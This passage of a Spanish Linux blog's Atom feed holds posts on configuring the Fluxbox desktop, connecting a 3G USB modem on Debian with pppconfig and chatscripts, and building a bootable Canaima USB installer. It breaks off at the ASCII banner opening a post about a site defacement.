Fluxbox un poco más abajo.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Configuremos Fluxbox&lt;/h2&gt;&lt;h3&gt;~/.fluxbox/init&lt;/h3&gt;Este archivo maneja la configuración general de Fluxbox. Podemos definir la posición, el ancho y los elementos que deseamos en la barra de tareas. El archivo es extenso y con muchas opciones, así que mostraré un pedazo de mi archivo con las opciones más relevantes. Para información más detallada ...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;session.screen0.toolbar.alpha: 255                    # Transparencia de la barra de herramientas&lt;br /&gt;session.screen0.toolbar.widthPercent: 100             # Ancho de la barra&lt;br /&gt;session.screen0.toolbar.visible: true                 # Mostrar la barra de tareas&lt;br /&gt;session.screen0.toolbar.tools: prevworkspace, workspacename, nextworkspace, iconbar, systemtray, clock  # Herramientas que deseamos motrar (y el orden en que aparecerán)&lt;br /&gt;session.screen0.toolbar.placement: BottomCenter       # Posición de la barra&lt;br /&gt;session.screen0.toolbar.autoHide: false               # Ocultar automaticamente&lt;br /&gt;session.screen0.workspacewarping: true                # Cambiar una ventana de escritorio al moverla hacie los extremos laterales&lt;br /&gt;session.screen0.workspaces: 4                         # Cantidad de escritorios&lt;br /&gt;session.screen0.strftimeFormat: %d %b, %a %02k:%M:%S  # Formato de la hora del reloj&lt;br /&gt;session.screen0.workspaceNames: Workspace 1,Workspace 2,Workspace 3,Workspace 4,  # Nombre de cada escritorio&lt;br /&gt;&lt;br /&gt;# Ejecutar el wbar con un delay de 5 seg para esperar que carguen todos los demás programas&lt;br /&gt;session.screen0.rootCommand: sleep 5 &amp;&amp; wbar -pos left -above-desk -vbar -jumpf 0.0 -zoomf 1.5 -idist 1 -bpress -config $HOME/.wbar&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;El orden en que se definan las herramientas será el orden que tengan en la barra. Las posibles herramientas son: workspacename, prevworkspace, nextworkspace, iconbar, systemtray, prevwindow, nextwindow y clock&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;~/.fluxbox/startup&lt;/h3&gt;Aquí definimos que aplicaciones se ejecutan al inicio del sistema. Mostraré mi archivo y comentaré cada opción.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;#!/bin/sh&lt;br /&gt;#&lt;br /&gt;# fluxbox startup-script:&lt;br /&gt;#&lt;br /&gt;# Lines starting with a '#' are ignored.&lt;br /&gt;&lt;br /&gt;# Change your keymap:&lt;br /&gt;xmodmap "/home/satanas/.Xmodmap"&lt;br /&gt;&lt;br /&gt;# Applications you want to run with fluxbox.&lt;br /&gt;# MAKE SURE THAT APPS THAT KEEP RUNNING HAVE AN ''&amp;amp;'' AT THE END.&lt;br /&gt;&lt;br /&gt;conky -d -b &amp;amp;&lt;br /&gt;nm-applet --sm-disable &amp;amp;&lt;br /&gt;gnome-power-manager --sm-disable &amp;amp;&lt;br /&gt;gnome-settings-daemon &amp;amp;&lt;br /&gt;&lt;br /&gt;# And last but not least we start fluxbox.&lt;br /&gt;# Because it is the last app you have to run it with ''exec'' before it.&lt;br /&gt;&lt;br /&gt;exec fluxbox&lt;br /&gt;# or if you want to keep a log:&lt;br /&gt;# exec fluxbox -log "/home/satanas/.fluxbox/log"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;conky -d -b&lt;/b&gt;: El monitor del sistema ejecutado con double buffer y en segundo plano&lt;br /&gt;&lt;b&gt;nm-applet&lt;/b&gt;: El Network Manager de GNOME que nos permite manejar nuestras redes&lt;br /&gt;&lt;b&gt;gnome-power-manager&lt;/b&gt;: El applet de GNOME que entre otas funciones nos muestra el estado de la batería&lt;br /&gt;&lt;b&gt;gnome-settings-daemon&lt;/b&gt;: El demonio de configuración de GNOME. Esto es para que podamos ver los iconos y el tema de GNOME sin problemas (necesario para pcmanfm)&lt;br /&gt;&lt;b&gt;wbar&lt;/b&gt;: La famosa barrita para lanzar aplicaciones ;)&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;~/.fluxbox/keys&lt;/h3&gt;En este archivo configuramos las combinaciones de teclas (atajos de teclado) de nuestro entorno de escritorio. Fluxbox denomina a la tecla Alt como Mod1 y a la innombrable (la tecla Super o Win) como Mod4. La sintaxis del archivo es:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;[teclas]: [acción] [parámetros]&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Una lista completa de posibles acciones podemos verla en &lt;a href="http://fluxbox.sourceforge.net/docbook/en/html/x359.html"&gt;http://fluxbox.sourceforge.net/docbook/en/html/x359.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Algunos atajos útiles serían:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Cambiar de ventana con Alt + Tab&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Mod1 Tab :NextWindow&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Cambiar al escritorio 1 con Ctrl + F1 (se debe repetir para cada escritorio que tengamos)&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Control F1 :Workspace 1&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Abrir un terminal con Alt + F1&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Mod1 F1 :Exec eterm&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Abrir un diálogo de "Ejecutar" con Alt + F2&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Mod1 F2 :Exec fbrun&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2&gt;Resultado&lt;/h2&gt;&lt;br /&gt;Un agradable y eficiente escritorio como el que se ve en las fotos :)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SrV6RBGJh8I/AAAAAAAAAPc/TYV4yFklwHU/s1600-h/2009-09-19-200511_1024x600_scrot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SrV6RBGJh8I/AAAAAAAAAPc/TYV4yFklwHU/s320/2009-09-19-200511_1024x600_scrot.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SrV6iX_UYJI/AAAAAAAAAPk/M_1tMpeH0_s/s1600-h/2009-09-19-200438_1024x600_scrot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SrV6iX_UYJI/AAAAAAAAAPk/M_1tMpeH0_s/s320/2009-09-19-200438_1024x600_scrot.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Un último tip es habilitar el plugin StatusIcon de Audacious (tal como se ve en la imagen de abajo) para que podamos minimizarlo a la bandeja de sistema (haciendo clic en el icono).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SrV6lAqwYRI/AAAAAAAAAPs/pnZwTeotitg/s1600-h/2009-09-19-200808_1024x600_scrot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SrV6lAqwYRI/AAAAAAAAAPs/pnZwTeotitg/s320/2009-09-19-200808_1024x600_scrot.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;¡Uff! con tanto configurar y escribir ya me dió sueño, así que me voy. Hasta la próxima&lt;br /&gt;&lt;br /&gt;Otras referencias:&lt;br /&gt;[1] http://www.gentoo.org/doc/es/fluxbox-config.xml&lt;br /&gt;[2] http://fluxbox.sourceforge.net/docbook/en/html/chap-toolbar.html&lt;br /&gt;[3] http://debianitas.net/doc/minicomos/Todo%20Sobre%20FLUXBOX/html/fluxbox.html&lt;br /&gt;[4] http://www.estrellateyarde.es/so/fluxbox&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1863687087531023978?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1863687087531023978/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1863687087531023978&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1863687087531023978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1863687087531023978'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/09/fluxbox-con-esteroides-en-debian.html' title='Fluxbox con esteroides en Debian'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/SrV6RBGJh8I/AAAAAAAAAPc/TYV4yFklwHU/s72-c/2009-09-19-200511_1024x600_scrot.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6941869674748284873</id><published>2009-08-15T21:03:00.000-07:00</published><updated>2009-08-16T08:11:06.644-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>BAM 3G Digitel en Debian</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hoy por fin tuve la oportunidad de jugar con un aparitico USB de Digitel; de esos que llaman Banda Ancha Móvil (un Huawei E160 para ser exáctos) y decidí configurarlo para conectarme desde Debian.&lt;br /&gt;&lt;br /&gt;Anteriormente había tenido la oportunidad de configurar unas tarjetas Kiocera y unos CDU-680 de Movilnet, así que imaginé que no debía ser muy diferente, o sea una conexión ppp, unos parámetros de usuario, un número telefónico para marcar, bla, bla, bla y listo! internet parejo.&lt;br /&gt;&lt;br /&gt;Sin embargo la cuestión es un tanto diferente respecto a los mencionados arriba, así que me tocó investigar y googlear un buen rato. Todas las soluciones que encontré lo configuraban usando wvdial, pero como soy terco quería hacerlo con ppp así que tuve que leer un poco sobre los chatscripts y hacer unas cuantas pruebas, hasta que dí con ésta solución.&lt;br /&gt;&lt;br /&gt;Lo primero es conectar el dispositivo y ejecutar como root el comando &lt;strong&gt;dmesg&lt;/strong&gt;. Deberíamos ver algo como:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;USB Serial support registered for GSM modem (1-port)&lt;br /&gt;option 1-5:1.0: GSM modem (1-port) converter detected&lt;br /&gt;usb 1-5: GSM modem (1-port) converter now attached to ttyUSB0&lt;br /&gt;option 1-5:1.1: GSM modem (1-port) converter detected&lt;br /&gt;usb 1-5: GSM modem (1-port) converter now attached to ttyUSB1&lt;br /&gt;usbcore: registered new interface driver option&lt;br /&gt;option: v0.7.2:USB Driver for GSM modems&lt;/code&gt;&lt;br /&gt;Ese mensaje nos indica que el dispositivo fue reconocido correctamente y está bajo el puerto &lt;strong&gt;ttyUSB0&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Ahora instalamos el pppconfig:&lt;br /&gt;&lt;code&gt;# aptitude install pppconfig&lt;/code&gt;&lt;br /&gt;Posteriormente ejecutamos el pppconfig como root y creamos una conexión nueva. Para ello debemos completar el asistente con los siguientes parámetros:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Nombre del proveedor: conexion (aquí ponemos el nombre que queremos darle a la conexión)&lt;br /&gt;DNS: Dinámico&lt;br /&gt;Método de autenticación: CHAP&lt;br /&gt;Nombre de usuario: digitel&lt;br /&gt;Contraseña: 0000&lt;br /&gt;Método de marcado: Tone&lt;br /&gt;Número a marcar: *99#&lt;br /&gt;Detectar automáticamente el modem: No&lt;br /&gt;Puerto del modem: /dev/ttyUSB0&lt;/code&gt;&lt;br /&gt;Guardamos y salimos del asistente.&lt;br /&gt;&lt;br /&gt;Ahora la parte divertida (y la que me tomó tiempo en descifrar) es configurar el script de chat de la conexión que acabamos de crear para que funcione correctamente. Lo que tenemos que hacer es abrir (como root) el archivo &lt;strong&gt;/etc/chatscripts/conexion&lt;/strong&gt; con nuestro editor favorito y en la sección &lt;strong&gt;# modem init&lt;/strong&gt; colocar esto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;'' ATZ&lt;br /&gt;'' ATZ+CPIN="0000"&lt;br /&gt;OK 'ATQ0 V1 E1 +FCLASS=0'&lt;br /&gt;OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'&lt;/code&gt;&lt;br /&gt;Un chatscript es una secuencia de pares "cadena esperada" "cadena enviada", es decir, &lt;strong&gt;siempre&lt;/strong&gt; esperas &lt;em&gt;algo&lt;/em&gt; antes de enviar &lt;em&gt;algo&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Si queremos enviar algo sin esperar nada debemos usar una cadena vacía al inicio (indicada por '') y de la misma manera si queremos esperar algo sin enviar nada. Es necesario saber que si queremos esperar/enviar una cadena conformada por varias palabras, debemos encerrarla entre comillas para que sea una sola entidad para el script.&lt;br /&gt;&lt;br /&gt;Dicho esto, procedo a explicar el script de chat que he creado para la conexión digitel. Primero inicializamos el modem. Observen que no esperamos nada del modem y enviamos la cadena ATZ:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;'' ATZ&lt;/code&gt;&lt;br /&gt;Luego enviamos el PIN de la SIM Card (si lo han conectado desde Windows se habrán dado cuenta que el software que trae el dispositivo pide el código PIN al momento de iniciar la conexión):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;'' ATZ+CPIN="0000"&lt;/code&gt;&lt;br /&gt;Ahora enviamos una trama de autenticación (aún no tengo muy clara su función) esperando un OK de la fase anterior pero entre comillas porque tiene varias palabras:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;OK 'ATQ0 V1 E1 +FCLASS=0'&lt;/code&gt;&lt;br /&gt;Y por último enviamos la información del servidor DNS:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'&lt;/code&gt;&lt;br /&gt;y voilá! El archivo &lt;strong&gt;/etc/chatscripts/conexion&lt;/strong&gt; debería quedar algo así:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# This chatfile was generated by pppconfig 2.3.18.&lt;br /&gt;# Please do not delete any of the comments.  Pppconfig needs them.&lt;br /&gt;#&lt;br /&gt;# ispauth CHAP&lt;br /&gt;# abortstring&lt;br /&gt;ABORT BUSY ABORT 'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT 'NO DIAL TO$&lt;br /&gt;# modeminit&lt;br /&gt;'' ATZ&lt;br /&gt;'' ATZ+CPIN="0000"&lt;br /&gt;OK 'ATQ0 V1 E1 +FCLASS=0'&lt;br /&gt;OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'&lt;br /&gt;# ispnumber&lt;br /&gt;OK-AT-OK "ATDT*99#"&lt;br /&gt;# ispconnect&lt;br /&gt;CONNECT \d\c&lt;br /&gt;# prelogin&lt;br /&gt;&lt;br /&gt;# ispname&lt;br /&gt;# isppassword&lt;/code&gt;&lt;br /&gt;Ahora vamos a probar la conexión. En un terminal ejecutaremos el siguiente comando para monitorear el progreso de la conexión:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# tail -f /var/log/messages&lt;/code&gt;&lt;br /&gt; y en otro terminal escribiremos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# pon conexion&lt;/code&gt;&lt;br /&gt;El script se ejecutará, enviará las tramas que hemos especificado en la inicialización del modem y marcará el número que indicamos en la configuración de la conexión ppp para luego asignarnos una IP. Si vemos en el log la palabra &lt;strong&gt;Failed&lt;/strong&gt; o &lt;strong&gt;Exit&lt;/strong&gt; es porque la conexión no se realizó con éxito y debemos ejecutar nuevamente el comando &lt;strong&gt;pon conexion&lt;/strong&gt; como root. El terminal ejecutando el tail de /var/log/messages mostrará el progreso de la conexión, algo como:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Aug 15 21:04:33 belzebu pppd[3615]: pppd 2.4.4 started by root, uid 0&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (BUSY)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (NO CARRIER)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (VOICE)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (NO DIALTONE)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (NO DIAL TONE)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (NO ANSWER)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: abort on (DELAYED)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: send (ATZ^M)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: send (ATZ+CPIN="0000"^M)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: expect (OK)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: ATZ^M^M&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: OK&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]:  -- got it&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: send (ATQ0 V1 E1 +FCLASS=0^M)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: expect (OK)&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: ^M&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: ATZ+CPIN="0000"^M^M&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: ERROR^M&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: ATQ0 V1 E1 +FCLASS=0^M^M&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: OK&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]:  -- got it&lt;br /&gt;Aug 15 21:04:34 belzebu chat[3617]: send (AT+CGDCONT=1,"IP","gprsweb.digitel.ve"^M)&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: expect (OK)&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: ^M&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: AT+CGDCONT=1,"IP","gprsweb.digitel.ve"^M^M&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: OK&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]:  -- got it&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: send (ATDT*99#^M)&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: expect (CONNECT)&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: ^M&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: ATDT*99#^M^M&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: CONNECT&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]:  -- got it&lt;br /&gt;Aug 15 21:04:35 belzebu chat[3617]: send (\d)&lt;br /&gt;Aug 15 21:04:36 belzebu pppd[3615]: Serial connection established.&lt;br /&gt;Aug 15 21:04:36 belzebu pppd[3615]: Using interface ppp0&lt;br /&gt;Aug 15 21:04:36 belzebu pppd[3615]: Connect: ppp0 &lt;--&gt; /dev/ttyUSB0&lt;br /&gt;Aug 15 21:04:37 belzebu pppd[3615]: CHAP authentication succeeded&lt;br /&gt;Aug 15 21:04:37 belzebu pppd[3615]: CHAP authentication succeeded&lt;br /&gt;Aug 15 21:04:37 belzebu kernel: [ 1953.295830] PPP BSD Compression module registered&lt;br /&gt;Aug 15 21:04:37 belzebu kernel: [ 1953.314554] PPP Deflate Compression module registered&lt;br /&gt;Aug 15 21:04:39 belzebu pppd[3615]: Could not determine remote IP address: defaulting to 10.64.64.64&lt;br /&gt;Aug 15 21:04:39 belzebu pppd[3615]: local  IP address 10.68.174.162&lt;br /&gt;Aug 15 21:04:39 belzebu pppd[3615]: remote IP address 10.64.64.64&lt;br /&gt;Aug 15 21:04:39 belzebu pppd[3615]: primary   DNS address 204.59.152.208&lt;br /&gt;Aug 15 21:04:39 belzebu pppd[3615]: secondary DNS address 57.73.127.195&lt;/code&gt;&lt;br /&gt;Para finalizar la conexión y retirar el modem basta con ejecutar como root:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# poff conexion&lt;/code&gt;&lt;br /&gt;y esperar que se apague el led del aparato.&lt;br /&gt;&lt;br /&gt;Es todo, ahí tenemos nuestra flamante conexión de banda ancha desde Debian :) Cualquier otra información útil o sugerencia es bienvenida.&lt;br /&gt;&lt;br /&gt;Cambio y fuera&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6941869674748284873?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6941869674748284873/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6941869674748284873&amp;isPopup=true' title='10 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6941869674748284873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6941869674748284873'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/08/bam-3g-digitel-en-debian.html' title='BAM 3G Digitel en Debian'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1371111959272758343</id><published>2009-07-17T18:46:00.003-07:00</published><updated>2009-09-10T15:10:36.565-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Canaima'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalador USB para GNU/Linux Canaima</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En esta receta explicaré como crear un instalador USB (es decir un pendrive USB booteable) para Canaima pero que con unos toques técnicos puede servir para cualquier distro.&lt;br /&gt;&lt;br /&gt;Canaima pesa 1.3GB y por los momentos no dispone de un set de varios CDs de instalación (como Debian por ejemplo) sino únicamente en DVD. Algunos equipos todavía no cuentan con unidades lectoras de DVD, lo que hace imposible instalar Canaima desde un DVD. Pensando en esta limitante, los amigos del CNTI publicaron la imagen de un instalador USB que de ahora en adelante nos permitirá realizar la instalación de Canaima sin problemas.&lt;br /&gt;&lt;br /&gt;Primero necesitamos satisfacer algunos requsitos:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Dependencias&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude update&lt;br /&gt;# aptitude install syslinux mtools mbr&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Instalador USB&lt;/strong&gt;&lt;br /&gt;Descargamos la imagen del &lt;a href="http://descargas.canaima.softwarelibre.gob.ve/desarrollo/live-usb/canaima_vivo_usb_i386.tar.gz"&gt;instalador USB&lt;/a&gt; de la página oficial de Canaima.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Pendrive USB&lt;/strong&gt;&lt;br /&gt;Ubicamos un pendrive (de al menos 2GB) sobre el cual queramos crear el instalador. Es importante resaltar que &lt;strong&gt;este procedimiento borrará TODOS los archivos contenidos en el pendrive&lt;/strong&gt;, así que respalden y no lloren :P&lt;br /&gt;&lt;br /&gt;Cumplidos los requisitos empezamos la parte divertida.&lt;br /&gt;&lt;br /&gt;Primero conectamos el pendrive a la PC y ubicamos en que dispositivo quedó montado. Podemos conocer esa información con el comando:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# tail /var/log/messages&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;o también con el comando:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ mount&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Actualización 10/09/2009:&lt;/b&gt; Usando el comando siguiente también podemos ubicar el dispositivo donde quedó montado el pendrive (Gracias a Carlos Guerrero por el aporte).&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ fdisk -l&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;En mi caso quedó en /dev/sdb1.&lt;br /&gt;&lt;br /&gt;Particularmente me gusta reparticionar el dispositivo usando &lt;strong&gt;fdisk&lt;/strong&gt;, con una sola partición FAT16 y activando el flag de booteo, pero es un procedimiento opcional (y que lo dejó como tarea para el lector).&lt;br /&gt;&lt;br /&gt;Formateamos la partición:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# mkfs.vfat -n CanaimaUSB /dev/sdb1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos el MBR:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# install-mbr /dev/sdb&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos el gestor de arranque &lt;strong&gt;syslinux&lt;/strong&gt; (si devuelve un error al instalar, podemos ejecutarlo con los parámetros -sf):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# syslinux /dev/sdb1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Por último montamos el pendrive nuevamente (en algunos entornos de escritorio basta con desconectar y conectar de nuevo el pendrive), nos ubicamos en la carpeta donde descargamos el instalador USB de Canaima y descomprimimos su contenido en el pendrive:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ tar -xvzf canaima_vivo_usb_i386.tar.gz -C /media/CanaimaUSB&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Al terminar esta operación tendremos un pendrive listo para instalar Canaima en cualquier equipo capaz de bootear por USB.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nota:&lt;/b&gt; Para aquellos amigos que aún no tengan instalado GNU/Linux en su PC pueden descargar un liveCD de alguna distro conocida basada en Debian (&lt;a href="http://www.elivecd.org/"&gt;Elive&lt;/a&gt;, &lt;a href="http://www.knoppix.net/"&gt;Knoppix&lt;/a&gt;, &lt;a href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt;, &lt;a href="http://www.damnsmalllinux.org/index_es.html"&gt;Damn Small Linux&lt;/a&gt;, etc) y desde allí seguir los pasos anteriores con total normalidad. (Gracias a Ángel Pérez por la sugerencia)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1371111959272758343?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1371111959272758343/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1371111959272758343&amp;isPopup=true' title='13 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1371111959272758343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1371111959272758343'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/07/instalador-usb-para-gnulinux-canaima.html' title='Instalador USB para GNU/Linux Canaima'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5364887877973160070</id><published>2009-07-11T06:38:00.000-07:00</published><updated>2009-07-12T14:05:21.241-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otros'/><title type='text'>Noche de hackers... FayerWayer Owned (F4Y3RW4Y3R PWN3D)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Esta madrugada, cerca de la media noche, mientras leía la imagen que había publicado &lt;strong&gt;Anti-sec&lt;/strong&gt; en los servidores de Imageshack me dispuse a revisar el RSS de FayerWayer a ver si encontraba alguna noticia interesante y mi sorpresa es que me consigo con la siguiente noticia: "F4Y3RW4Y3R PWN3D" y cuando la abro nada más y nada menos que esto (no tiene desperdicio):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:90%;"&gt;&lt;pre&gt;|||||||||||||||||||||||||||||||||||||||||||||||||||||&lt;br /&gt;[================== 1ns3c gr0up ====================]&lt;br /&gt;[------- t1nky_w1nky - d1psy - l44_l44 - p0 -------] &lt;br /&gt;     ___________  .___.____ 